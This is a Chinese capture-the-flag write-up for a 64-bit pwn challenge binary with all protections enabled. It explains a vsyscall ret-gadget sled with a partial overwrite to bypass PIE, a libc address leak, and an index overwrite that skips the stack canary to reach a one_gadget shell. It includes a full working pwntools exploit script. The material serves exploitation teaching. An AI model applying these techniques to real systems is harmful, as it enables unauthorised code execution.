实验平台:
x86_64, Ubuntu 18.04.6 LTS, Kernel 4.15.0-167-generic
GLIBC 2.27-3ubuntu1.4
实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/VSyscall/vul64
这道题的来源是Chao Zhang, Tsinghua University。真诚的感谢Chao老师!
ELF信息:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
amd64架构,保护全开。
下面给出反汇编及反编译后的代码:(IDA原本反编译出的代码有一定问题,我做了修改)
void __fastcall main(int a1, char **a2, char **a3)
{
char buf[64]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+108h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
write(1, "baby, hack meeeeeeee!\n", 0x17uLL);
read(0, buf, 0x140uLL);
__asm {
lea rax, [rbp+buf]
add rax, 40h ; '@'
jmp qword ptr [rax]
}
}
__int64 sub_985()
{
int v0; // eax
char c; // [rsp+0h] [rbp-40h] BYREF
char buf[51]; // [rsp+1h] [rbp-3Fh] BYREF
int length; // [rsp+34h] [rbp-Ch]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(buf, 0, 0x30uLL);
length = 0;
while ( 1 )
{
if ( read(0, &c, 1uLL) != 1 )
exit(0);
if ( c == 10 )
break;
v0 = length++;
buf[v0] = c;
}
puts(buf);
return 0LL;
}
unsigned __int64 sub_A2C()
{
ssize_t (**buf)(int, const void *, size_t); // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Impossible!!!");
puts("You must be a hacker!!!");
puts("Wait a moment ...");
puts("I have a gift for yoooou");
buf = &write;
write(1, &buf, 8uLL);
puts(&byte_BBC);
puts("Want my flag? Keep going!");
sub_985();
return __readfsqword(0x28u) ^ v2;
}
这道题目,一看完源码就明白,应该想办法用第15行的jmp跳到sub_A2C()
再进行后续的进一步操作。但是这道题目开了PIE,我们是无法知道sub_A2C()
的具体地址的。那我们应该怎么办呢?答案是利用栈上已有的信息。
利用gdb+pwndbg进行调试:
在反编译后的第13行下断。
观察栈上的内容:
可以看到,栈上第0x1e
个也就是第30个的数据的位置,非低12位基址就是程序的代码段基址,第8~11位也恰好是0xa
,和sub_A2C()
中的0xa2c
也是恰好吻合的。又因为x86机器是小端法。所以我们只需要把0x2c
写上去,再让rsp指向这个位置,再执行ret的gadget,就可以成功的让机器执行到我们想要的地方。
通过反编译的代码可以看到,rsp正好指向rbp+buf。因此我们需要在buf上填充30个ret的地址,再覆盖1字节的地址低位。就可以达到我们想要的效果了。
可关键问题是,程序开了PIE,我上哪里去找ret的gadget呢?这个时候我们要请出Linux的一个Pwn高级玩法——VSyscall[1]。
简单来说,VSyscall是为了方便用户执行一些非常简单,而无需参数的系统调用的设置的一个段。Loader会默认的把这个段加载进来。这些系统调用分别是gettimeofday、time以及getcpu。他们的地址都是固定的,分别为0xffffffffff600000, 0xffffffffff600400,0xffffffffff600800。我们可以直接拿它当作一个ret的gadget进行使用。
更正参考资料[1]中的一个错误,经实验,在Ubuntu 18.04上,VSyscall段还是存在的。Pwn仍然能够正常运行。
因此,我们最基础的代码部分,就是:
ret_addr = 0xffffffffff600400
p.send(p64(ret_addr) * 30 + '\x2c')
可以使控制流重定向到sub_A2C()
。
接下来是一波常规操作,程序主动泄露write的GOT表内容,我们可以拿这个找到libc基址:
p.recvuntil("I have a gift for yoooou\n")
write_libc = u64(p.recv(8))
p.recvuntil("Want my flag? Keep going!\n")
libc = LibcSearcher('write', write_libc)
libc_base = write_libc - libc.dump('write')
程序第29\~37行的逻辑是,一个一个字符的读入。写到栈上的buf中。并且可以缓冲区溢出。而且还可以在写入的过程中控制字符的写入位置。
因此下面的代码是:
one_gadget_libc = libc_base + 0x4f3d5 # one_gadget Shift
p.send('0' * 0x33 + '\x47' + p64(one_gadget_libc) + '\n')
p.interactive()
前0x33
个0用于填充buf,\x47
用于写入length,使其跳过canary直接写入返回地址,后面直接接system("/bin/sh")
的one_gadget即可完成整套流程。
因此整套exp代码如下:
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
import os
import time
import struct
context(arch = "amd64",os = "linux", log_level = "debug")
p = process('./vul64')
elf = ELF('./vul64')
# gdb.attach(p, "")
ret_addr = 0xffffffffff600400
p.send(p64(ret_addr) * 30 + '\x2c')
p.recvuntil("I have a gift for yoooou\n")
write_libc = u64(p.recv(8))
p.recvuntil("Want my flag? Keep going!\n")
libc = LibcSearcher('write', write_libc)
libc_base = write_libc - libc.dump('write')
one_gadget_libc = libc_base + 0x4f3d5 # one_gadget Shift
p.send('0' * 0x33 + '\x47' + p64(one_gadget_libc) + '\n')
p.interactive()